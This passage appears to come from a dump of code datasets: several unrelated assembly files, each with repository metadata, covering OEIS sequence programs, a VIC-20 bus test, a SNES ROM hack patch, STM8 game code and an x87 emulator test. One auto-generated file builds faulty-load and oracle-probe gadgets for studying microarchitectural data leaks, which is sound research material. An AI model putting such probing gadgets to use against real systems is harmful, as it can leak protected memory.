] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A028189: Expansion of 1/((1-5x)(1-7x)(1-11x)(1-12x)).
; Submitted by Jon Maiga
; 1,35,782,14254,231459,3493041,50160064,695287148,9389676197,124321003807,1620910078866,20877357884682,266266935091015,3368664326093933,42334402590112388,529044108699525256
mov $1,1
mov $2,$0
mov $3,$0
lpb $2
mov $0,$3
trn $2,1
sub $0,$2
seq $0,20975 ; Expansion of 1/((1-7*x)*(1-11*x)*(1-12*x)).
sub $0,$1
mul $1,6
add $1,$0
lpe
mov $0,$1
| 24.277778 | 173 | 0.679634 |
b2004b51a23f408caf3a333953017d7719c198d3 | 5,622 | asm | Assembly | tests/vice-tests/VIC20/unconnected/unconnected.asm | PhylumChordata/chips-test | 4f80ede2da9952efeb25d3887c768654d2374167 | [
"MIT"
] | 330 | 2017-12-11T21:20:28.000Z | 2022-03-26T08:56:51.000Z | tests/vice-tests/VIC20/unconnected/unconnected.asm | PhylumChordata/chips-test | 4f80ede2da9952efeb25d3887c768654d2374167 | [
"MIT"
] | 14 | 2019-01-07T23:50:35.000Z | 2022-01-09T13:43:16.000Z | tests/vice-tests/VIC20/unconnected/unconnected.asm | PhylumChordata/chips-test | 4f80ede2da9952efeb25d3887c768654d2374167 | [
"MIT"
] | 31 | 2018-07-02T06:13:31.000Z | 2022-02-18T16:50:56.000Z | ; unconnected
; -----------
; 2009 Hannu Nuotio
; This program tests VIC-20 unconnected bus behaviour.
; Disable any/all memory extensions.
; BUGS:
; - if addr MSB or ROM contents are TESTBYTE_ABS or TESTBYTE_ABS_X, the results may be incorrect
!ct scr
; --- Constants
; - hw
LOAD_ADDR = $1001
SYS_ADDR = $1010
SCREEN = $1e00
COLORMEM = $9600
; - sw
TEXTCOLOR = 4
PRINT_LOC = SCREEN
TESTBYTE_ABS = $55
TESTBYTE_ABS_X = $aa
; result type
RESULT_BYTE_ITSELF = 0 ; byte at addr or addr,x
RESULT_ADDR_MSB = 1 ; addr >> 8
RESULT_BYTE_WRAP_X = 2 ; byte at wrapped addr
RESULT_VBUS = 3 ; vbus ("random")
RESULT_ROM = 4 ; ROM
; --- Variables
; - zero page
tmp = $f9
; pointer to print location
res_print = $fa
res_print_h = $fb
; pointer to current test (definition) data
test_p = $fc
test_ph = $fd
; temp pointer to test location
tmp_p = $fe
tmp_ph = $ff
; result of test
result = $f8
; --- Main
; start of program
* = LOAD_ADDR
entry:
; BASIC stub: "1 SYS 4112"
!by $0c,$10,$01,$00,$9e,$34,$31,$31,$32,$00,$00,$00
* = SYS_ADDR
mlcodeentry:
; - print info
jsr clearscreen
lda #>PRINT_LOC
sta res_print_h
lda #<PRINT_LOC
sta res_print
lda #<infotext_top
ldx #>infotext_top
jsr printstring
; - test init
lda #>testdata
sta test_ph
lda #<testdata
sta test_p
; -- test loop
test_next:
ldy #0
lda (test_p),y
bne test_setup
jmp test_finished
; - setup test
test_setup:
tay
lda testdata_opcode,y
sta test_opcode
lda #<infotext_test_start
ldx #>infotext_test_start
jsr printstring
ldy #1
lda (test_p),y
sta test_operand_high
sta tmp_ph
jsr printhex
ldy #2
lda (test_p),y
sta test_operand_low
sta tmp_p
jsr printhex
ldy #0
lda (test_p),y
cmp #1
beq +
lda #<infotext_test_abs_x
ldx #>infotext_test_abs_x
jmp ++
+
lda #<infotext_test_abs
ldx #>infotext_test_abs
++
jsr printstring
ldy #3
lda #TESTBYTE_ABS_X
sta (tmp_p),y
ldy #0
sta (tmp_p),y
ldy #0
clc
lda tmp_p
adc #3
bcc +
sta tmp_p
lda #TESTBYTE_ABS
sta (tmp_p),y
+
; - actual test
ldy #0
ldx #3
testloop:
test_opcode = *
test_operand_low = * + 1
test_operand_high = * + 2
lda $1234
sta result_buffer,y
iny
bne testloop
; - calculate results
lda result_buffer
ldy #1
calc_loop:
cmp result_buffer,y
bne calc_found_difference
iny
bne calc_loop
; no differences found, check type
cmp #TESTBYTE_ABS
bne +
lda #RESULT_BYTE_WRAP_X
jmp test_result_found
+
cmp #TESTBYTE_ABS_X
bne +
lda #RESULT_BYTE_ITSELF
jmp test_result_found
+
cmp test_operand_high
bne +
lda #RESULT_ADDR_MSB
jmp test_result_found
+
; assuming ROM
lda #RESULT_ROM
jmp test_result_found
calc_found_difference:
; difference in results found -> v-bus
lda #RESULT_VBUS
test_result_found:
sta result
; - print results
test_result_print:
jsr printresult
lda #<infotext_test_res_sep
ldx #>infotext_test_res_sep
jsr printstring
; - print reference
ldy #3
lda (test_p),y
jsr printresult
; - print first byte from buffer
lda #<infotext_test_res_hex
ldx #>infotext_test_res_hex
jsr printstring
lda result_buffer
jsr printhex
; - test done
clc
lda test_p
adc #4
sta test_p
bcc +
inc test_ph
+
jmp test_next
; - all tests finished
test_finished:
lda #<infotext_bottom
ldx #>infotext_bottom
jsr printstring
- jsr $ffe4
beq -
jmp mlcodeentry
; --- Subroutines
; - clearscreen
; changes:
; y = 0
;
clearscreen:
ldy #0
- lda #' '
sta SCREEN,y
sta SCREEN+$100,y
lda #TEXTCOLOR
sta COLORMEM,y
sta COLORMEM+$100,y
iny
bne -
rts
; - printhex
; parameters:
; res_print -> screen location to print to
; a = value to print
; changes:
; a, y = 0, tmp, res_print++
;
printhex:
stx tmp
pha
; get upper
lsr
lsr
lsr
lsr
; lookup
tax
lda hex_lut,x
; print
jsr print
; get lower
pla
and #$0f
; lookup
tax
lda hex_lut,x
; print
jsr print
ldx tmp
rts
; - printstring
; res_print -> screen location to print to
; a:x -> string to print
; changes:
; a, x, y, res_print++
;
printstring:
sta printstring_src
stx printstring_src_h
ldx #0
printstring_src = * + 1
printstring_src_h = * + 2
-
lda $1234,x
beq +
jsr print
inx
bne -
inc printstring_src_h
bne -
+
rts
; - print
; parameters:
; res_print -> screen location to print to
; a = char to print
; changes:
; y = 0, res_print++
;
print:
ldy #0
sta (res_print),y
inc res_print
bne +
inc res_print_h
+
rts
; - printresult
; parameters:
; res_print -> screen location to print to
; a = result
; changes:
; a, x, y = 0, tmp, res_print++
;
printresult:
asl
asl
ldx #>infotext_test_result_tbl
clc
adc #<infotext_test_result_tbl
bcc +
inx
+
jsr printstring
rts
; --- Data
; - hex lookup table
hex_lut:
!tx "0123456789abcdef"
; - Strings
; |0123456789012345678901|
infotext_top:
!tx "unconnected testprog "
!tx "test: result - ref/1st",0
infotext_bottom:
!tx "press a key to restart",0
infotext_test_start:
!tx "$",0
infotext_test_abs:
!tx " : ",0
infotext_test_abs_x:
!tx ",x: ",0
infotext_test_res_sep:
!tx " - ",0
infotext_test_res_hex:
!tx "/$",0
; - test data
; format:
; type - 0 = end, 1 = absolute, 2 = ,x
; addr - hi, low
; reference - (see defines)
testdata:
!by 1, $e0, $00, RESULT_ROM
!by 1, $03, $00, RESULT_BYTE_ITSELF
!by 2, $03, $00, RESULT_BYTE_ITSELF
!by 1, $04, $00, RESULT_VBUS
!by 2, $03, $ff, RESULT_VBUS
!by 1, $23, $00, RESULT_ADDR_MSB
!by 2, $1f, $ff, RESULT_BYTE_WRAP_X
!by 1, $91, $00, RESULT_VBUS
!by 1, $99, $12, RESULT_ADDR_MSB
!by 1, $9d, $34, RESULT_ADDR_MSB
!by 0
; opcode, indexed by type field of testdata
testdata_opcode:
!by 0 ; 0 = unused
!by $ad ; 1 = LDA $nnnn
!by $bd ; 2 = LDA $nnnn,X
; result text table
infotext_test_result_tbl:
!tx "ram",0
!tx "msb",0
!tx "nox",0
!tx "v-b",0
!tx "rom",0
result_buffer:
| 13.612591 | 97 | 0.699039 |
b228e7fe94c340085f3860eb7e7f6bdb132f1822 | 657 | asm | Assembly | libsrc/math/daimath32/c/sccz80/ceil.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/math/daimath32/c/sccz80/ceil.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/math/daimath32/c/sccz80/ceil.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_fp_dai32
PUBLIC ceil
EXTERN ___dai32_setup_single
EXTERN ___dai32_return
EXTERN ___dai32_xfadd
EXTERN ___dai32_xfint
EXTERN ___dai32_fpac
EXTERN ___dai32_tempval
ceil:
call ___dai32_setup_single
ld a,(___dai32_fpac)
rla
call ___dai32_xfint
jp c,___dai32_return ;Negative we don't need to anything else
ld hl,$0100 ; -1
ld de,$0000
ld (___dai32_tempval+0),hl
ex de,hl
ld (___dai32_tempval+2),hl
ld hl,___dai32_tempval
call ___dai32_xfadd
jp ___dai32_return | 25.269231 | 71 | 0.601218 |
142d8723dd0f351154b391049cdec26d4de0fdd6 | 1,781 | asm | Assembly | Fixes/thwimpfix.asm | SMWW4mp3/SMWStuff | f499ee54033248ce9a8d186a9b410b5975d9ac5b | [
"MIT"
] | 1 | 2020-06-16T05:16:01.000Z | 2020-06-16T05:16:01.000Z | Fixes/thwimpfix.asm | SMWW4mp3/SMWStuff | f499ee54033248ce9a8d186a9b410b5975d9ac5b | [
"MIT"
] | null | null | null | Fixes/thwimpfix.asm | SMWW4mp3/SMWStuff | f499ee54033248ce9a8d186a9b410b5975d9ac5b | [
"MIT"
] | null | null | null | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; ThwimpSpriteInteractionFix - W4mp3/ShUriK KiD - Version 1.1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; This Patch fixes the rather infuriating behaviour of Thwimp seemingly
;; randomly be affected by Sprites in general. This Patch allows you to
;; make Thwimp more consistent with Sprites.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; If you use this patch please credit me, thats what cool people do.
;; This is compatible with SA1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Configuration
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
!thwimpInteracts = 1 ; Set to 1 if you want the thwimp to interact with every sprite
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Preparing stuff, detecting SA1 etc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
!SA1 = 0
if read1($00FFD5) == $23
!SA1 = 1
sa1rom
else
!SA1 = 0
endif
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Hijacks
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; For readability
org $01AC31
SubOffscreen0Bnk1:
;; Hijack
org $01AFAA
JSR patch
;; Sneak a JSR to some FreeSpace in Bank 1
org $01E2B0
patch:
JSR SubOffscreen0Bnk1
if !thwimpInteracts
print "Thwimps will interact with Sprites"
if !SA1
LDA $762C,x ;\
AND #$F7 ;|5th Tweaker byte remove do
STA $762C,x ;/not interact with sprite flag
else
LDA $1686,x ;\
AND #$F7 ;|5th Tweaker byte remove do
STA $1686,x ;/not interact with sprite flag
endif
JSL $018032 ;Sprite <-> Sprite Interaction routine
else
print "Thwimps will not interact with Sprites"
if !SA1
LDA $762C,x ;\
ORA #$08 ;|5th Tweaker byte set do not
STA $762C,x ;/interact with sprite flag
else
LDA $1686,x ;\
ORA #$08 ;|5th Tweaker byte set do not
STA $1686,x ;/interact with sprite flag
endif
endif
RTS
| 20.952941 | 84 | 0.558113 |
edefdcbb86aed5018444073d51a1fa809bdad8f0 | 2,340 | asm | Assembly | Stm8Invaders/asm/playershot.asm | peteri/Invaders | 0b08ea6a683d9ea831daa98862601cf74acc3af2 | [
"MIT"
] | null | null | null | Stm8Invaders/asm/playershot.asm | peteri/Invaders | 0b08ea6a683d9ea831daa98862601cf74acc3af2 | [
"MIT"
] | 32 | 2020-12-26T20:13:11.000Z | 2021-06-18T01:02:53.000Z | Stm8Invaders/asm/playershot.asm | peteri/Invaders | 0b08ea6a683d9ea831daa98862601cf74acc3af2 | [
"MIT"
] | null | null | null | stm8/
.tab 0,8,16,60
#include "variables.inc"
#include "constants.inc"
#include "sprite.inc"
#include "alienshot.inc"
#include "timerobject.inc"
segment 'ram1'
explosion_timer ds.b 1
segment 'rom'
.player_shot_init.w
mov explosion_timer,#$10
ldw x,#player_shot_action
ldw {player_shot_timer+timer_action_offs},x
ldw x,#player_shot_available
ldw player_shot_status,x
ret
player_shot_action
ld a,{sp_player_shot+sprite_x_offs}
add a,#$20
and a,#$80
cp a,vblank_status
jreq do_player_shot_action
ret
do_player_shot_action
ldw y,player_shot_status
jp (y)
.player_shot_available.w
mov {sp_player_shot+sprite_visible},#0
ret
.player_shot_initiated.w
mov {sp_player_shot+sprite_visible},#1
mov {sp_player_shot+sprite_y_offs},#$28
ld a,player_base_x
add a,#8
ld {sp_player_shot+sprite_x_offs},a
ldw x,#player_shot_normal_move
ldw player_shot_status,x
ldw x,#sp_player_shot
jp sprite_set_image
.player_shot_normal_move.w
ld a,{sp_player_shot+sprite_y_offs}
add a,#4
ld {sp_player_shot+sprite_y_offs},a
ldw x,#sp_player_shot
call sprite_set_image
ldw x,#sp_player_shot
call sprite_collided
cp a,#0
jreq shot_normal_move_exit
bset game_flags_2,#flag2_alien_exploding
shot_normal_move_exit
ret
.player_shot_hit_something.w
dec explosion_timer
jrne check_first_time
mov {sp_player_shot_exp+sprite_visible},#0
jp end_blow_up
check_first_time
ld a,explosion_timer
cp a,#$0f
jrne shot_normal_move_exit
mov {sp_player_shot+sprite_visible},#0
ldw x,#sp_player_shot
call sprite_battle_damage
; Copy player shot sprite to explosion
ld a,{sp_player_shot+sprite_x_offs}
sub a,#3
ld {sp_player_shot_exp+sprite_x_offs},a
ld a,{sp_player_shot+sprite_y_offs}
sub a,#2
ld {sp_player_shot_exp+sprite_y_offs},a
mov {sp_player_shot_exp+sprite_visible},#1
ldw x,#sp_player_shot_exp
jp sprite_set_image
.player_shot_alien_exploding.w
ret
.player_shot_alien_exploded.w
jp end_blow_up
ret
end_blow_up
ldw y,player_shot_status
cpw y,#player_shot_hit_something
jrne no_battle_damage
ldw x,#sp_player_shot_exp
call sprite_battle_damage
no_battle_damage
ldw x,#player_shot_available
ldw player_shot_status,x
mov {sp_player_shot+sprite_y_offs},#$28
mov {sp_player_shot+sprite_x_offs},#$00
ldw x,#sp_player_shot
call sprite_set_image
mov explosion_timer,#$10
jp inc_saucer_score_shot_count
END
| 23.877551 | 44 | 0.808547 |
1c70bf551bf8befa64d3ccd11828a057c255bed3 | 66 | asm | Assembly | src/main/fragment/mos6502-common/vwum1=vwum1_plus__word1_vdum2.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | 2 | 2022-03-01T02:21:14.000Z | 2022-03-01T04:33:35.000Z | src/main/fragment/mos6502-common/vwum1=vwum1_plus__word1_vdum2.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | src/main/fragment/mos6502-common/vwum1=vwum1_plus__word1_vdum2.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | clc
lda {m1}
adc {m2}+2
sta {m1}
lda {m1}+1
adc {m2}+3
sta {m1}+1
| 8.25 | 10 | 0.560606 |
aaf16fe43ce822f27c49c99a76849af2926b7772 | 651 | asm | Assembly | programs/oeis/135/A135231.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/135/A135231.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/135/A135231.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A135231: Row sums of triangle A135230.
; 1,2,4,6,12,22,44,86,172,342,684,1366,2732,5462,10924,21846,43692,87382,174764,349526,699052,1398102,2796204,5592406,11184812,22369622,44739244,89478486,178956972,357913942,715827884,1431655766,2863311532,5726623062,11453246124,22906492246,45812984492,91625968982,183251937964,366503875926,733007751852,1466015503702,2932031007404,5864062014806,11728124029612,23456248059222,46912496118444,93824992236886,187649984473772,375299968947542,750599937895084,1501199875790166,3002399751580332,6004799503160662
mov $2,2
pow $2,$0
div $2,3
lpb $0,1
mul $2,2
add $2,1
div $0,$2
lpe
add $0,$2
mov $1,$0
add $1,1
| 43.4 | 504 | 0.81874 |
055c5e551a0bf9c11616c9ce2014b505ce68939b | 2,691 | asm | Assembly | src/main.asm | Q-Bert-Reynolds/gun-hockey-gb | 360eae9adfffc9f619f891facf0c83e846f372b5 | [
"MIT"
] | null | null | null | src/main.asm | Q-Bert-Reynolds/gun-hockey-gb | 360eae9adfffc9f619f891facf0c83e846f372b5 | [
"MIT"
] | null | null | null | src/main.asm | Q-Bert-Reynolds/gun-hockey-gb | 360eae9adfffc9f619f891facf0c83e846f372b5 | [
"MIT"
] | null | null | null | INCLUDE "src/gb.inc"
SECTION "Header", ROM0[$100]
Entry:
nop
jp Main
NINTENDO_LOGO
DB "GUN HOCKEY",0,0,0,0,0 ;Cart name - 15bytes
DB CART_COMPATIBLE_DMG_GBC ;$143
DB 0,0 ;$144 - Licensee code (not important)
DB CART_INDICATOR_SGB ;$146 - SGB Support indicator
DB CART_ROM_MBC5_RAM_BAT ;$147 - Cart type
DB CART_ROM_1024KB ;$148 - ROM Size
DB CART_SRAM_32KB ;$149 - RAM Size
DB 1 ;$14a - Destination code
DB $33 ;$14b - Old licensee code
DB 0 ;$14c - Mask ROM version
DB 0 ;$14d - Complement check (important)
DW 0 ;$14e - Checksum (not important)
SECTION "VBlank", ROM0[$0040]
jp VBLInterrupt
SECTION "LCDC", ROM0[$0048]
reti
SECTION "TimerOverflow", ROM0[$0050]
reti
SECTION "Serial", ROM0[$0058]
jp SerialInterrupt
SECTION "p1thru4", ROM0[$0060]
reti
SECTION "Main", ROM0[$0150]
Main::
.gbcCheck ;must happen first
cp a, BOOTUP_A_MGB;is this a Pocket
jr z, .gbp
; NOTE: Never actually checking for DMG.
; Assumes DMG if other tests fail.
; Used to check emulators.
; https://github.com/ISSOtm/Aevilia-GB/blob/master/home.asm
; cp a, BOOTUP_A_DMG
; jr z, .dmg
cp a, BOOTUP_A_CGB;is this a GBC
ld a, 0;don't xor here
jr nz, .setSysInfo
bit 0, b;is it also a GBA
jr z, .gbc
.gba;BOOTUP_B_AGB
or a, SYS_INFO_GBA
.gbc;BOOTUP_B_CGB
or a, SYS_INFO_GBC
jr .setSysInfo
.gbp
ld a, SYS_INFO_GBP
.setSysInfo
ld [sys_info], a
.setupGameBoyColor
ld a, [sys_info]
and a, SYS_INFO_GBC
jr z, .setup
call gbdk_CPUFast; GBC always in fast mode
CGB_COMPATIBILITY
.setup
di
ld sp, $ffff
DISPLAY_OFF
DISABLE_LCD_INTERRUPT
xor a
ld [rSCX], a
ld [rSCY], a
ld [rWX], a
ld [rWY], a
SETUP_DMA_TRANSFER
.clearRAM;don't clear breakpoint or sys_info
ld hl, _RAM
ld bc, _breakpoint-_RAM
xor a
call mem_Set
ld hl, sys_info+1
ld bc, (_RAM+$2000)-sys_info
xor a
call mem_Set
.setupAudio
ld hl, rAUDENA
ld [hl], AUDENA_OFF
ld a, $FF
ld [rAUDTERM], a
ld [rAUDVOL], a
.setupDrawing
CLEAR_SCREEN 0
SET_DEFAULT_PALETTE
ld a, LCDCF_OFF | LCDCF_WIN9C00 | LCDCF_BG8800 | LCDCF_OBJ8 | LCDCF_OBJON | LCDCF_BGON
ld [rLCDC], a
.setupInterrupts
ld a, IEF_VBLANK | IEF_SERIAL | IEF_LCDC
ld [rIE], a
ei
.setupSuperGameBoy
ld a, SGB_BANK
call SetBank
call sgb_Init
SET_DEFAULT_PALETTE
.startClock
ld a, GAME_STATE_CLOCK_STARTED
ld [game_state], a
.mainLoop
call GunHockey
jr .mainLoop; TODO: if game finished, exit
xor a
call SetBank
jp Main ;restart the game
nop
ret | 21.528 | 88 | 0.646971 |
4bddd9a009e213226ffd9f2018178fca9ba70399 | 155 | asm | Assembly | unittests/32Bit_ASM/X87/DD_C0.asm | cobalt2727/FEX | 13087f8425aeaad28dc81bed46a83e1d72ff0db8 | [
"MIT"
] | 628 | 2020-03-06T14:01:32.000Z | 2022-03-31T06:35:14.000Z | unittests/32Bit_ASM/X87/DD_C0.asm | cobalt2727/FEX | 13087f8425aeaad28dc81bed46a83e1d72ff0db8 | [
"MIT"
] | 576 | 2020-03-06T08:25:12.000Z | 2022-03-30T04:05:29.000Z | unittests/32Bit_ASM/X87/DD_C0.asm | cobalt2727/FEX | 13087f8425aeaad28dc81bed46a83e1d72ff0db8 | [
"MIT"
] | 38 | 2020-03-07T06:10:00.000Z | 2022-03-29T09:27:36.000Z | %ifdef CONFIG
{
"Mode": "32BIT"
}
%endif
; Just to ensure execution
ffree st0
ffree st1
ffree st2
ffree st3
ffree st4
ffree st5
ffree st6
ffree st7
hlt
| 9.117647 | 26 | 0.729032 |
08ea18f054f241cf299e47219545fe79cec002b6 | 4,680 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_18525_404.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_18525_404.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_18525_404.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r15
push %r8
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0xcd01, %r15
and $7541, %r8
vmovups (%r15), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $0, %xmm2, %r13
nop
nop
nop
xor %r10, %r10
lea addresses_D_ht+0x6c01, %rsi
lea addresses_WC_ht+0x1c401, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
cmp %r13, %r13
mov $106, %rcx
rep movsb
nop
nop
nop
nop
nop
add %r13, %r13
pop %rsi
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r8
push %rax
push %rbx
push %rcx
// Store
lea addresses_normal+0x14401, %rbx
nop
nop
nop
nop
cmp $33400, %rax
movl $0x51525354, (%rbx)
nop
xor %r10, %r10
// Faulty Load
lea addresses_RW+0x7401, %r13
nop
nop
nop
nop
xor $57998, %rcx
mov (%r13), %bx
lea oracles, %r10
and $0xff, %rbx
shlq $12, %rbx
mov (%r10,%rbx,1), %rbx
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': True}}
{'32': 18525}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 47.755102 | 2,999 | 0.661752 |
16bfc53f633883874587fb3754d10f4e49f5e746 | 583 | asm | Assembly | programs/oeis/093/A093620.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/093/A093620.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/093/A093620.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A093620: Values of Laguerre polynomials: a(n) = 2^n*n!*LaguerreL(n,-1/2,-2).
; 1,5,43,499,7193,123109,2430355,54229907,1347262321,36833528197,1097912385851,35409316648435,1227820993510153,45528569866101989,1797044836586213923,75200136212985945619,3324579846014080352225,154797474251689486249477,7570037033145534341015371,387848033995077391583842547,20772218684998647434823634681,1160595655192564301089214574565,67523252736570551914173798215603,4083815524876729670357369258974099,256356972748341735562325055814189393
mul $0,6
dif $0,3
seq $0,5425 ; a(n) = 2*a(n-1) + (n-1)*a(n-2).
| 83.285714 | 438 | 0.845626 |
487395e55d4244b873a5dd932384f3ad9ff05a50 | 452 | asm | Assembly | programs/oeis/174/A174446.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
